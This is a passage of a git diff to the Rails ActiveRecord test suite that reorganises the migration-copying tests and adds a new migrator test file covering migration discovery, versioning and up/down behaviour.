-      ActiveRecord::Base.logger = nil
-      assert_nothing_raised do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-      end
-    ensure
-      ActiveRecord::Base.logger = previous_logger
-    end
+class CopyMigrationsTest < ActiveRecord::TestCase
+  def setup
   end
 
-  class InterleavedMigrationsTest < ActiveRecord::TestCase
-    def test_migrator_interleaved_migrations
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_1")
-
-      assert_nothing_raised do
-        ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2")
-      end
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-
-      assert_nothing_raised do
-        proxies = ActiveRecord::Migrator.down(
-          MIGRATIONS_ROOT + "/interleaved/pass_3")
-        names = proxies.map(&:name)
-        assert names.include?('InterleavedPeopleHaveLastNames')
-        assert names.include?('InterleavedInnocentJointable')
-      end
-    end
+  def clear
+    ActiveRecord::Base.timestamped_migrations = true
+    to_delete = Dir[@migrations_path + "/*.rb"] - @existing_migrations
+    File.delete(*to_delete)
   end
 
-  class ReservedWordsMigrationTest < ActiveRecord::TestCase
-    def test_drop_index_from_table_named_values
-      connection = Person.connection
-      connection.create_table :values, :force => true do |t|
-        t.integer :value
-      end
-
-      assert_nothing_raised do
-        connection.add_index :values, :value
-        connection.remove_index :values, :column => :value
-      end
-
-      connection.drop_table :values rescue nil
-    end
+  def test_copying_migrations_without_timestamps
+    ActiveRecord::Base.timestamped_migrations = false
+    @migrations_path = MIGRATIONS_ROOT + "/valid"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
+    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
+
+    expected = "# This migration comes from bukkits (originally 1)"
+    assert_equal expected, IO.readlines(@migrations_path + "/4_people_have_hobbies.bukkits.rb")[0].chomp
+
+    files_count = Dir[@migrations_path + "/*.rb"].length
+    copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
+    assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+    assert copied.empty?
+  ensure
+    clear
   end
 
-
-  class ChangeTableMigrationsTest < ActiveRecord::TestCase
-    def setup
-      @connection = Person.connection
-      @connection.create_table :delete_me, :force => true do |t|
-      end
-    end
-
-    def teardown
-      Person.connection.drop_table :delete_me rescue nil
-    end
-
-    def test_references_column_type_adds_id
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-        t.references :customer
-      end
-    end
-
-    def test_remove_references_column_type_removes_id
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-        t.remove_references :customer
-      end
-    end
-
-    def test_add_belongs_to_works_like_add_references
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
-        t.belongs_to :customer
-      end
-    end
-
-    def test_remove_belongs_to_works_like_remove_references
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
-        t.remove_belongs_to :customer
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_adds_type
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
-        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
-        t.references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_remove_references_column_type_with_polymorphic_removes_type
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-        t.remove_references :taggable, :polymorphic => true
-      end
-    end
-
-    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false})
-        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false})
-        t.references :taggable, :polymorphic => true, :null => false
-      end
-    end
-
-    def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_type')
-        @connection.expects(:remove_column).with(:delete_me, 'taggable_id')
-        t.remove_references :taggable, :polymorphic => true, :null => false
-      end
-    end
-
-    def test_timestamps_creates_updated_at_and_created_at
-      with_change_table do |t|
-        @connection.expects(:add_timestamps).with(:delete_me)
-        t.timestamps
-      end
-    end
-
-    def test_remove_timestamps_creates_updated_at_and_created_at
-      with_change_table do |t|
-        @connection.expects(:remove_timestamps).with(:delete_me)
-        t.remove_timestamps
-      end
-    end
-
-    def string_column
-      if current_adapter?(:PostgreSQLAdapter)
-        "character varying(255)"
-      elsif current_adapter?(:OracleAdapter)
-        'VARCHAR2(255)'
-      else
-        'varchar(255)'
-      end
-    end
-
-    def integer_column
-      if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
-        'int(11)'
-      elsif current_adapter?(:OracleAdapter)
-        'NUMBER(38)'
-      else
-        'integer'
-      end
-    end
-
-    def test_integer_creates_integer_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {})
-        @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {})
-        t.integer :foo, :bar
-      end
-    end
-
-    def test_string_creates_string_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :foo, string_column, {})
-        @connection.expects(:add_column).with(:delete_me, :bar, string_column, {})
-        t.string :foo, :bar
-      end
-    end
-
-    def test_column_creates_column
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {})
-        t.column :bar, :integer
-      end
-    end
-
-    def test_column_creates_column_with_options
-      with_change_table do |t|
-        @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false})
-        t.column :bar, :integer, :null => false
-      end
-    end
-
-    def test_index_creates_index
-      with_change_table do |t|
-        @connection.expects(:add_index).with(:delete_me, :bar, {})
-        t.index :bar
-      end
-    end
-
-    def test_index_creates_index_with_options
-      with_change_table do |t|
-        @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true})
-        t.index :bar, :unique => true
-      end
-    end
-
-    def test_index_exists
-      with_change_table do |t|
-        @connection.expects(:index_exists?).with(:delete_me, :bar, {})
-        t.index_exists?(:bar)
-      end
-    end
-
-    def test_index_exists_with_options
-      with_change_table do |t|
-        @connection.expects(:index_exists?).with(:delete_me, :bar, {:unique => true})
-        t.index_exists?(:bar, :unique => true)
-      end
-    end
-
-    def test_change_changes_column
-      with_change_table do |t|
-        @connection.expects(:change_column).with(:delete_me, :bar, :string, {})
-        t.change :bar, :string
-      end
-    end
-
-    def test_change_changes_column_with_options
-      with_change_table do |t|
-        @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true})
-        t.change :bar, :string, :null => true
-      end
-    end
-
-    def test_change_default_changes_column
-      with_change_table do |t|
-        @connection.expects(:change_column_default).with(:delete_me, :bar, :string)
-        t.change_default :bar, :string
-      end
-    end
-
-    def test_remove_drops_single_column
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, [:bar])
-        t.remove :bar
-      end
-    end
-
-    def test_remove_drops_multiple_columns
-      with_change_table do |t|
-        @connection.expects(:remove_column).with(:delete_me, [:bar, :baz])
-        t.remove :bar, :baz
-      end
-    end
-
-    def test_remove_index_removes_index_with_options
-      with_change_table do |t|
-        @connection.expects(:remove_index).with(:delete_me, {:unique => true})
-        t.remove_index :unique => true
-      end
-    end
-
-    def test_rename_renames_column
-      with_change_table do |t|
-        @connection.expects(:rename_column).with(:delete_me, :bar, :baz)
-        t.rename :bar, :baz
-      end
-    end
-
-    protected
-    def with_change_table
-      Person.connection.change_table :delete_me do |t|
-        yield t
-      end
-    end
+  def test_copying_migrations_without_timestamps_from_2_sources
+    ActiveRecord::Base.timestamped_migrations = false
+    @migrations_path = MIGRATIONS_ROOT + "/valid"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
+
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
+    sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
+    ActiveRecord::Migration.copy(@migrations_path, sources)
+    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
+    assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+
+    files_count = Dir[@migrations_path + "/*.rb"].length
+    ActiveRecord::Migration.copy(@migrations_path, sources)
+    assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+  ensure
+    clear
   end
 
-  if ActiveRecord::Base.connection.supports_bulk_alter?
-    class BulkAlterTableMigrationsTest < ActiveRecord::TestCase
-      def setup
-        @connection = Person.connection
-        @connection.create_table(:delete_me, :force => true) {|t| }
-      end
-
-      def teardown
-        Person.connection.drop_table(:delete_me) rescue nil
-      end
-
-      def test_adding_multiple_columns
-        assert_queries(1) do
-          with_bulk_change_table do |t|
-            t.column :name, :string
-            t.string :qualification, :experience
-            t.integer :age, :default => 0
-            t.date :birthdate
-            t.timestamps
-          end
-        end
-
-        assert_equal 8, columns.size
-        [:name, :qualification, :experience].each {|s| assert_equal :string, column(s).type }
-        assert_equal 0, column(:age).default
-      end
-
-      def test_removing_columns
-        with_bulk_change_table do |t|
-          t.string :qualification, :experience
-        end
+  def test_copying_migrations_with_timestamps
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-        [:qualification, :experience].each {|c| assert column(c) }
-
-        assert_queries(1) do
-          with_bulk_change_table do |t|
-            t.remove :qualification, :experience
-            t.string :qualification_experience
-          end
-        end
+    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
+                  @migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
+      assert_equal expected, copied.map(&:filename)
 
-        [:qualification, :experience].each {|c| assert ! column(c) }
-        assert column(:qualification_experience)
-      end
-
-      def test_adding_indexes
-        with_bulk_change_table do |t|
-          t.string :username
-          t.string :name
-          t.integer :age
-        end
-
-        # Adding an index fires a query every time to check if an index already exists or not
-        assert_queries(3) do
-          with_bulk_change_table do |t|
-            t.index :username, :unique => true, :name => :awesome_username_index
-            t.index [:name, :age]
-          end
-        end
-
-        assert_equal 2, indexes.size
-
-        name_age_index = index(:index_delete_me_on_name_and_age)
-        assert_equal ['name', 'age'].sort, name_age_index.columns.sort
-        assert ! name_age_index.unique
-
-        assert index(:awesome_username_index).unique
-      end
-
-      def test_removing_index
-        with_bulk_change_table do |t|
-          t.string :name
-          t.index :name
-        end
-
-        assert index(:index_delete_me_on_name)
-
-        assert_queries(3) do
-          with_bulk_change_table do |t|
-            t.remove_index :name
-            t.index :name, :name => :new_name_index, :unique => true
-          end
-        end
-
-        assert ! index(:index_delete_me_on_name)
-
-        new_name_index = index(:new_name_index)
-        assert new_name_index.unique
-      end
-
-      def test_changing_columns
-        with_bulk_change_table do |t|
-          t.string :name
-          t.date :birthdate
-        end
-
-        assert ! column(:name).default
-        assert_equal :date, column(:birthdate).type
-
-        # One query for columns (delete_me table)
-        # One query for primary key (delete_me table)
-        # One query to do the bulk change
-        assert_queries(3) do
-          with_bulk_change_table do |t|
-            t.change :name, :string, :default => 'NONAME'
-            t.change :birthdate, :datetime
-          end
-        end
-
-        assert_equal 'NONAME', column(:name).default
-        assert_equal :datetime, column(:birthdate).type
-      end
-
-      protected
-
-      def with_bulk_change_table
-        # Reset columns/indexes cache as we're changing the table
-        @columns = @indexes = nil
-
-        Person.connection.change_table(:delete_me, :bulk => true) do |t|
-          yield t
-        end
-      end
-
-      def column(name)
-        columns.detect {|c| c.name == name.to_s }
-      end
-
-      def columns
-        @columns ||= Person.connection.columns('delete_me')
-      end
-
-      def index(name)
-        indexes.detect {|i| i.name == name.to_s }
-      end
-
-      def indexes
-        @indexes ||= Person.connection.indexes('delete_me')
-      end
-    end # AlterTableMigrationsTest
-
-  end
-
-  class CopyMigrationsTest < ActiveRecord::TestCase
-    def setup
+      files_count = Dir[@migrations_path + "/*.rb"].length
+      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+      assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
+      assert copied.empty?
     end
+  ensure
+    clear
+  end
 
-    def clear
-      ActiveRecord::Base.timestamped_migrations = true
-      to_delete = Dir[@migrations_path + "/*.rb"] - @existing_migrations
-      File.delete(*to_delete)
-    end
+  def test_copying_migrations_with_timestamps_from_2_sources
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    def test_copying_migrations_without_timestamps
-      ActiveRecord::Base.timestamped_migrations = false
-      @migrations_path = MIGRATIONS_ROOT + "/valid"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+    sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
 
-      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
-      assert File.exists?(@migrations_path + "/4_people_have_hobbies.rb")
-      assert File.exists?(@migrations_path + "/5_people_have_descriptions.rb")
-      assert_equal [@migrations_path + "/4_people_have_hobbies.rb", @migrations_path + "/5_people_have_descriptions.rb"], copied.map(&:filename)
+    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, sources)
+      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+      assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+      assert_equal 4, copied.length
 
       files_count = Dir[@migrations_path + "/*.rb"].length
-      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
+      ActiveRecord::Migration.copy(@migrations_path, sources)
       assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-      assert copied.empty?
-    ensure
-      clear
     end
+  ensure
+    clear
+  end
 
-    def test_copying_migrations_without_timestamps_from_2_sources
-      ActiveRecord::Base.timestamped_migrations = false
-      @migrations_path = MIGRATIONS_ROOT + "/valid"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
+  def test_copying_migrations_with_timestamps_to_destination_with_timestamps_in_future
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-      sources = ActiveSupport::OrderedHash.new
-      sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
-      sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
-      ActiveRecord::Migration.copy(@migrations_path, sources)
-      assert File.exists?(@migrations_path + "/4_people_have_hobbies.rb")
-      assert File.exists?(@migrations_path + "/5_people_have_descriptions.rb")
-      assert File.exists?(@migrations_path + "/6_create_articles.rb")
-      assert File.exists?(@migrations_path + "/7_create_comments.rb")
+    Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+      ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+      assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
 
       files_count = Dir[@migrations_path + "/*.rb"].length
-      ActiveRecord::Migration.copy(@migrations_path, sources)
+      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
       assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-    ensure
-      clear
-    end
-
-    def test_copying_migrations_with_timestamps
-      @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
-
-      Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
-        copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.rb")
-        assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.rb")
-        expected = [@migrations_path + "/20100726101010_people_have_hobbies.rb",
-                    @migrations_path + "/20100726101011_people_have_descriptions.rb"]
-        assert_equal expected, copied.map(&:filename)
-
-        files_count = Dir[@migrations_path + "/*.rb"].length
-        copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-        assert copied.empty?
-      end
-    ensure
-      clear
+      assert copied.empty?
     end
+  ensure
+    clear
+  end
 
-    def test_copying_migrations_with_timestamps_from_2_sources
-      @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
-
-      sources = ActiveSupport::OrderedHash.new
-      sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
-      sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
-
-      Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
-        copied = ActiveRecord::Migration.copy(@migrations_path, sources)
-        assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.rb")
-        assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.rb")
-        assert File.exists?(@migrations_path + "/20100726101012_create_articles.rb")
-        assert File.exists?(@migrations_path + "/20100726101013_create_comments.rb")
-        assert_equal 4, copied.length
-
-        files_count = Dir[@migrations_path + "/*.rb"].length
-        ActiveRecord::Migration.copy(@migrations_path, sources)
-        assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-      end
-    ensure
-      clear
-    end
+  def test_skipping_migrations
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    def test_copying_migrations_with_timestamps_to_destination_with_timestamps_in_future
-      @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+    sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_name_collision"
 
-      Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
-        ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.rb")
-        assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.rb")
+    skipped = []
+    on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+    copied = ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
+    assert_equal 2, copied.length
 
-        files_count = Dir[@migrations_path + "/*.rb"].length
-        copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-        assert copied.empty?
-      end
-    ensure
-      clear
-    end
+    assert_equal 1, skipped.length
+    assert_equal ["omg PeopleHaveHobbies"], skipped
+  ensure
+    clear
+  end
 
-    def test_skipping_migrations
-      @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
-      @existing_migrations = Dir[@migrations_path + "/*.rb"]
+  def test_skip_is_not_called_if_migrations_are_from_the_same_plugin
+    @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
+    @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-      sources = ActiveSupport::OrderedHash.new
-      sources[:bukkits] = sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
+    sources = {}
+    sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
 
-      skipped = []
-      on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
-      copied = ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
-      assert_equal 2, copied.length
+    skipped = []
+    on_skip = Proc.new { |name, migration| skipped << "#{name} #{migration.name}" }
+    copied = ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
+    ActiveRecord::Migration.copy(@migrations_path, sources, :on_skip => on_skip)
 
-      assert_equal 2, skipped.length
-      assert_equal ["bukkits PeopleHaveHobbies", "bukkits PeopleHaveDescriptions"], skipped
-    ensure
-      clear
-    end
+    assert_equal 2, copied.length
+    assert_equal 0, skipped.length
+  ensure
+    clear
+  end
 
-    def test_copying_migrations_to_non_existing_directory
-      @migrations_path = MIGRATIONS_ROOT + "/non_existing"
-      @existing_migrations = []
+  def test_copying_migrations_to_non_existing_directory
+    @migrations_path = MIGRATIONS_ROOT + "/non_existing"
+    @existing_migrations = []
 
-      Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
-        copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.rb")
-        assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.rb")
-        assert_equal 2, copied.length
-      end
-    ensure
-      clear
-      Dir.delete(@migrations_path)
+    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert_equal 2, copied.length
     end
+  ensure
+    clear
+    Dir.delete(@migrations_path)
+  end
 
-    def test_copying_migrations_to_empty_directory
-      @migrations_path = MIGRATIONS_ROOT + "/empty"
-      @existing_migrations = []
+  def test_copying_migrations_to_empty_directory
+    @migrations_path = MIGRATIONS_ROOT + "/empty"
+    @existing_migrations = []
 
-      Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
-        copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-        assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.rb")
-        assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.rb")
-        assert_equal 2, copied.length
-      end
-    ensure
-      clear
+    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+      copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
+      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert_equal 2, copied.length
     end
+  ensure
+    clear
   end
 end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
new file mode 100644
index 0000000000..1e16addcf3
--- /dev/null
+++ b/activerecord/test/cases/migrator_test.rb
@@ -0,0 +1,377 @@
+require "cases/helper"
+require "cases/migration/helper"
+
+module ActiveRecord
+  class MigratorTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    # Use this class to sense if migrations have gone
+    # up or down.
+    class Sensor < ActiveRecord::Migration
+      attr_reader :went_up, :went_down
+
+      def initialize name = self.class.name, version = nil
+        super
+        @went_up  = false
+        @went_down = false
+      end
+
+      def up; @went_up = true; end
+      def down; @went_down = true; end
+    end
+
+    def setup
+      super
+      ActiveRecord::SchemaMigration.create_table
+      ActiveRecord::SchemaMigration.delete_all rescue nil
+    end
+
+    def teardown
+      super
+      ActiveRecord::SchemaMigration.delete_all rescue nil
+    end
+
+    def test_migrator_with_duplicate_names
+      assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+        list = [Migration.new('Chunky'), Migration.new('Chunky')]
+        ActiveRecord::Migrator.new(:up, list)
+      end
+    end
+
+    def test_migrator_with_duplicate_versions
+      assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+        list = [Migration.new('Foo', 1), Migration.new('Bar', 1)]
+        ActiveRecord::Migrator.new(:up, list)
+      end
+    end
+
+    def test_migrator_with_missing_version_numbers
+      assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+        list = [Migration.new('Foo', 1), Migration.new('Bar', 2)]
+        ActiveRecord::Migrator.new(:up, list, 3).run
+      end
+    end
+
+    def test_finds_migrations
+      migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+
+      [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+        assert_equal migrations[i].version, pair.first
+        assert_equal migrations[i].name, pair.last
+      end
+    end
+
+    def test_finds_migrations_in_subdirectories
+      migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+
+      [[1, 'ValidPeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+        assert_equal migrations[i].version, pair.first
+        assert_equal migrations[i].name, pair.last
+      end
+    end
+
+    def test_finds_migrations_from_two_directories
+      directories = [MIGRATIONS_ROOT + '/valid_with_timestamps', MIGRATIONS_ROOT + '/to_copy_with_timestamps']
+      migrations = ActiveRecord::Migrator.migrations directories
+
+      [[20090101010101, "PeopleHaveHobbies"],
+       [20090101010202, "PeopleHaveDescriptions"],
+       [20100101010101, "ValidWithTimestampsPeopleHaveLastNames"],
+       [20100201010101, "ValidWithTimestampsWeNeedReminders"],
+       [20100301010101, "ValidWithTimestampsInnocentJointable"]].each_with_index do |pair, i|
+        assert_equal pair.first, migrations[i].version
+        assert_equal pair.last, migrations[i].name
+       end
+    end
+
+    def test_deprecated_constructor
+      assert_deprecated do
+        ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid")
+      end
+    end
+
+    def test_relative_migrations
+      list = Dir.chdir(MIGRATIONS_ROOT) do
+        ActiveRecord::Migrator.migrations("valid/")
+      end
+
+      migration_proxy = list.find { |item|
+        item.name == 'ValidPeopleHaveLastNames'
+      }
+      assert migration_proxy, 'should find pending migration'
+    end
+
+    def test_finds_pending_migrations
+      ActiveRecord::SchemaMigration.create!(:version => '1')
+      migration_list = [ Migration.new('foo', 1), Migration.new('bar', 3) ]
+      migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+
+      assert_equal 1, migrations.size
+      assert_equal migration_list.last, migrations.first
+    end
+
+    def test_migrator_interleaved_migrations
+      pass_one = [Sensor.new('One', 1)]
+
+      ActiveRecord::Migrator.new(:up, pass_one).migrate
+      assert pass_one.first.went_up
+      refute pass_one.first.went_down
+
+      pass_two = [Sensor.new('One', 1), Sensor.new('Three', 3)]
+      ActiveRecord::Migrator.new(:up, pass_two).migrate
+      refute pass_two[0].went_up
+      assert pass_two[1].went_up
+      assert pass_two.all? { |x| !x.went_down }
+
+      pass_three = [Sensor.new('One', 1),
+                    Sensor.new('Two', 2),
+                    Sensor.new('Three', 3)]
+
+      ActiveRecord::Migrator.new(:down, pass_three).migrate
+      assert pass_three[0].went_down
+      refute pass_three[1].went_down
+      assert pass_three[2].went_down
+    end
+
+    def test_up_calls_up
+      migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+      ActiveRecord::Migrator.new(:up, migrations).migrate
+      assert migrations.all? { |m| m.went_up }
+      assert migrations.all? { |m| !m.went_down }
+      assert_equal 2, ActiveRecord::Migrator.current_version
+    end
+
+    def test_down_calls_down
+      test_up_calls_up
+
+      migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
+      ActiveRecord::Migrator.new(:down, migrations).migrate
+      assert migrations.all? { |m| !m.went_up }
+      assert migrations.all? { |m| m.went_down }
+      assert_equal 0, ActiveRecord::Migrator.current_version
+    end
+
+    def test_current_version
+      ActiveRecord::SchemaMigration.create!(:version => '1000')
+      assert_equal 1000, ActiveRecord::Migrator.current_version
+    end
+
+    def test_migrator_one_up
+      calls, migrations = sensors(3)
+
+      ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+      assert_equal [[:up, 1]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+      assert_equal [[:up, 2]], calls
+    end
+
+    def test_migrator_one_down
+      calls, migrations = sensors(3)
+
+      ActiveRecord::Migrator.new(:up, migrations).migrate
+      assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
+      calls.clear
+
+      ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+
